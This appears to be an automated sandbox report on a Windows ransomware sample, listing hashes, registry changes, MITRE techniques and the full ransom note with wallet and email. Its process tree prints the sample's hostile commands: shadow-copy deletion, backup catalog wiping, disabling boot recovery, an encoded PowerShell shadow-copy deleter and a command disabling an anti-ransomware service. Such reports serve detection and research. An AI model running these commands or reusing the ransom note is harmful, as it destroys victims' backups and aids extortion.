c0c07149cce59156f394433712143e6cda4cf6e457c27b3ca85a8f7a8f1fecf3

Analysis

max time kernel
151s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
08/04/2023, 02:45

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General

Target
020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Size 1.3MB
Sample230408-c8yrmsbe94
SHA256 020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c
MD5 ffce3f25a125b5dfcd96e92148b7d209
SHA1 a4c2bfa23b98471ac1ea7103e194cf6488a058ac
SHA512 7d0af9214e4cdabceab9abb2586288e0a42ef9b7a7abc1bc7f03c04cf48b6722eeeee4a476aaf2567feaacbc70fb3e6bf36aa1050b010ef68019b7e80886f823
SSDEEP 24576:1pa1z++i/OfNbXirk1nF1qfWk3w80geAcVW9CFnBOmp7BCr/otH5LSp+7I80w:zF+BZk6FnBOmp7BCr/G7I80
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Documents\How Do I Recover My Files (Readme).txt

Ransom Note

* What happened to my files? Your important files are encrypted. Many of your documents, photos, videos, databases, and other files are no longer accessible because they are encrypted. Maybe you're busy finding a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. However, if you want to use the programs of data recovery companies, please do not work on your original files, but make copies of them. Corruption of the actual files can cause irreversible damage to your data. * Can I Recover My Files? Sure. We guarantee that you can recover all your files safely and easily. But for this you need to send $300 worth bitcoins to our address. Even if you give money, Do not believe the people around you who say they will not give your files, I Have Enough Reference To Give You Confidence. I don't know about you, so there is no point in having bad feelings towards you, doing evil to you, my goal is just to earn an income from this business. * What about the guarantees? This is just a job. We never care about you and your deals. If we do not fulfill our work and obligations - no one will cooperate with us. If you do not believe us, tell us any 1 or 2 files with SIMPLE extensions (jpg, xls, doc, etc ... not databases!) And low size (max 1 mb) 1 or 2 file and following special public and private mzrevenge keys produced for you send us we will decrypt these files and send it back to you. This is our guarantee. * How to contact with you? You can write us to our mailbox: [email protected] Don't forget, check your "Spam" or "Junk" folder it you can't get more than 6 hours of answer. * How will the decryption process proceed after payment? After payment, we will send you our special decoder program by mail, just open it, then it will automatically decrypt all your files. but you need to pay for it and contact us. * So what is Bitcoin and how to get it? The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ If you are ready to pay the money we want, Bitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd These are public and private MZREVENGE decryption keys produced for you. If these keys are damaged, nobody can recovery your files. ============================{ PUBLIC MZREVENGE KEY }============================= MZRKEYPUBLICwqbDqEDDh8KxccK1w60iw7DDs8Kdw4g9YXnCssKkYcK7ATpQwonDnMKYX8OXeMKgw4tQdsOgT8Kdw6TDpsK3NDx/JnjDqcOOwrQGwqvDv8K2SsO0w61+wr1yw7PDmcK9wovCocK1w51fwr3CikQDwobCtsKCJEzCqsKFTMO8wpHDtMOCw5IpOMOHwoprw6rCgMOQworCp8K7N8KkQMK4TWvCvMO6wrJYwpgBwqbDsxPCgsKYwq/ChHA5wrdrYmoVMMOkw7cOQzZbfw7Ct8O8w64VKcKRw6BAPcO4C8OLHMOBw7fCkmvDtMKqwqXCusO/FThEw6kMwpTDoG0Gw7DCicONw7PDhsKQw65RCcKwNjl5NsOtZB1FXsOkBMKtwpxsw4UrV8KmFcOeWinDg8KXwoMMwqjCuMKYwolxwpfCqMKFa8OQdsOjIiMSEAVQOcO+PMOxwqQlwovDqhjCucOBccKIMsOfwrDDhhDCuDlawro8wrVsw7w5FsOPA8KmasOzbMK3HsKiw7dqLyrClDNXw6hFF8OCwqsJw7R1wr7DkRXCl2jCocO8w7IBWMOFwo85SsKrUGoFcFk5Q1A9wobChm9Yw5zDgyTDvcKzRSbCj8OfUTjDl2XDmcKua8KSw65hw7NowpJtGDrCjMO8 ================================================================================= ============================{ PRIVATE MZREVENGE KEY }============================ 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 =================================================================================

Emails

[email protected]

Wallets

3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd

Signatures

UAC bypass 3 TTPs 4 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\host	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\UnpublishBlock.raw => C:\Users\Admin\Pictures\UnpublishBlock.raw.MZ173801	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
File renamed	C:\Users\Admin\Pictures\ConnectCheckpoint.png => C:\Users\Admin\Pictures\ConnectCheckpoint.png.MZ173801	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
File renamed	C:\Users\Admin\Pictures\SplitResolve.tif => C:\Users\Admin\Pictures\SplitResolve.tif.MZ173801	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
File renamed	C:\Users\Admin\Pictures\SuspendHide.raw => C:\Users\Admin\Pictures\SuspendHide.raw.MZ173801	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
File renamed	C:\Users\Admin\Pictures\TraceResize.tif => C:\Users\Admin\Pictures\TraceResize.tif.MZ173801	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
116	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\Local Settings	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
4508	powershell.exe
4508	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3864	WMIC.exe
Token: SeSecurityPrivilege	3864	WMIC.exe
Token: SeTakeOwnershipPrivilege	3864	WMIC.exe
Token: SeLoadDriverPrivilege	3864	WMIC.exe
Token: SeSystemProfilePrivilege	3864	WMIC.exe
Token: SeSystemtimePrivilege	3864	WMIC.exe
Token: SeProfSingleProcessPrivilege	3864	WMIC.exe
Token: SeIncBasePriorityPrivilege	3864	WMIC.exe
Token: SeCreatePagefilePrivilege	3864	WMIC.exe
Token: SeBackupPrivilege	3864	WMIC.exe
Token: SeRestorePrivilege	3864	WMIC.exe
Token: SeShutdownPrivilege	3864	WMIC.exe
Token: SeDebugPrivilege	3864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3864	WMIC.exe
Token: SeRemoteShutdownPrivilege	3864	WMIC.exe
Token: SeUndockPrivilege	3864	WMIC.exe
Token: SeManageVolumePrivilege	3864	WMIC.exe
Token: 33	3864	WMIC.exe
Token: 34	3864	WMIC.exe
Token: 35	3864	WMIC.exe
Token: 36	3864	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3864	WMIC.exe
Token: SeSecurityPrivilege	3864	WMIC.exe
Token: SeTakeOwnershipPrivilege	3864	WMIC.exe
Token: SeLoadDriverPrivilege	3864	WMIC.exe
Token: SeSystemProfilePrivilege	3864	WMIC.exe
Token: SeSystemtimePrivilege	3864	WMIC.exe
Token: SeProfSingleProcessPrivilege	3864	WMIC.exe
Token: SeIncBasePriorityPrivilege	3864	WMIC.exe
Token: SeCreatePagefilePrivilege	3864	WMIC.exe
Token: SeBackupPrivilege	3864	WMIC.exe
Token: SeRestorePrivilege	3864	WMIC.exe
Token: SeShutdownPrivilege	3864	WMIC.exe
Token: SeDebugPrivilege	3864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3864	WMIC.exe
Token: SeRemoteShutdownPrivilege	3864	WMIC.exe
Token: SeUndockPrivilege	3864	WMIC.exe
Token: SeManageVolumePrivilege	3864	WMIC.exe
Token: 33	3864	WMIC.exe
Token: 34	3864	WMIC.exe
Token: 35	3864	WMIC.exe
Token: 36	3864	WMIC.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeBackupPrivilege	1352	vssvc.exe
Token: SeRestorePrivilege	1352	vssvc.exe
Token: SeAuditPrivilege	1352	vssvc.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 1276	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	84
PID 2672 wrote to memory of 1276	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	84
PID 2672 wrote to memory of 1276	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	84
PID 2672 wrote to memory of 1736	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	87
PID 2672 wrote to memory of 1736	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	87
PID 2672 wrote to memory of 1736	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	87
PID 2672 wrote to memory of 4508	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	89
PID 2672 wrote to memory of 4508	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	89
PID 2672 wrote to memory of 4508	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	89
PID 1276 wrote to memory of 116	1276	cmd.exe	91
PID 1276 wrote to memory of 116	1276	cmd.exe	91
PID 1276 wrote to memory of 116	1276	cmd.exe	91
PID 1736 wrote to memory of 3864	1736	cmd.exe	92
PID 1736 wrote to memory of 3864	1736	cmd.exe	92
PID 1736 wrote to memory of 3864	1736	cmd.exe	92
PID 2672 wrote to memory of 3208	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	96
PID 2672 wrote to memory of 3208	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	96
PID 2672 wrote to memory of 3208	2672	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe	96

System policy modification 1 TTPs 17 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0"	020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe
"C:\Users\Admin\AppData\Local\Temp\020db58e3c552ead23b18bb04bb75781e51347dab4868d1fc55e2854a6647d4c.exe"
1⤵
- UAC bypass
- Drops file in Drivers directory
- Modifies extensions of user files
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\SysWOW64\sc.exe
    sc config "AppCheck" start=disabled
    3⤵
    - Launches sc.exe
    PID:116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4508
- C:\Windows\SysWOW64\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\How Do I Recover My Files (Readme).txt
  2⤵
  PID:3208

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1352

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

How Do I Recover My Files (Readme).txt

Path C:\How Do I Recover My Files (Readme).txt
Size 5KB
SHA256 35ab65b6cc350000e2a66824ebd3cec18f3c53646e40d3a7fdeb67396b0f404d
MD5 7694c8db373dcf53381e0f97ff6fb782
SHA1 496dfb42177bd60c4b880d6cd4ca29322872e31e
SHA512 d3dc38d7a3d8910c8b9570f7330ed129e5e1d956be427b8658cc3fb824f8e73668565de709fa75a049f7c49b18439a61e75cf4ea468b651eb8dc36b98ff0546e
SSDEEP 96:2mL+ES9HQC7n0E1IP4XD2wgZYBMg10Uu14IWxQ2468xrDvnvlrX2Gmr4:2mL2pQC7n0eIP4SmaE0RSxQ2d8xXnvlj
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_moihmm5p.ydn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_moihmm5p.ydn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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How Do I Recover My Files (Readme).txt

Path C:\Users\Admin\Documents\How Do I Recover My Files (Readme).txt
Size 5KB
SHA256 35ab65b6cc350000e2a66824ebd3cec18f3c53646e40d3a7fdeb67396b0f404d
MD5 7694c8db373dcf53381e0f97ff6fb782
SHA1 496dfb42177bd60c4b880d6cd4ca29322872e31e
SHA512 d3dc38d7a3d8910c8b9570f7330ed129e5e1d956be427b8658cc3fb824f8e73668565de709fa75a049f7c49b18439a61e75cf4ea468b651eb8dc36b98ff0546e
SSDEEP 96:2mL+ES9HQC7n0E1IP4XD2wgZYBMg10Uu14IWxQ2468xrDvnvlrX2Gmr4:2mL2pQC7n0eIP4SmaE0RSxQ2d8xXnvlj
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2672-485-0x0000000000400000-0x0000000000561000-memory.dmp

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memory/4508-224-0x0000000005830000-0x0000000005852000-memory.dmp

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memory/4508-486-0x0000000005370000-0x0000000005380000-memory.dmp

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memory/4508-186-0x0000000005250000-0x0000000005286000-memory.dmp

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memory/4508-236-0x00000000061C0000-0x0000000006226000-memory.dmp

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memory/4508-408-0x00000000067F0000-0x000000000680E000-memory.dmp

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memory/4508-196-0x0000000005370000-0x0000000005380000-memory.dmp

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memory/4508-197-0x00000000059B0000-0x0000000005FD8000-memory.dmp

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memory/4508-231-0x0000000006150000-0x00000000061B6000-memory.dmp

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memory/4508-195-0x0000000005370000-0x0000000005380000-memory.dmp

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memory/4508-488-0x00000000077A0000-0x0000000007836000-memory.dmp

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memory/4508-489-0x0000000006CF0000-0x0000000006D0A000-memory.dmp

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memory/4508-490-0x0000000006D40000-0x0000000006D62000-memory.dmp

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memory/4508-491-0x0000000007DF0000-0x0000000008394000-memory.dmp

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memory/4508-494-0x0000000005370000-0x0000000005380000-memory.dmp

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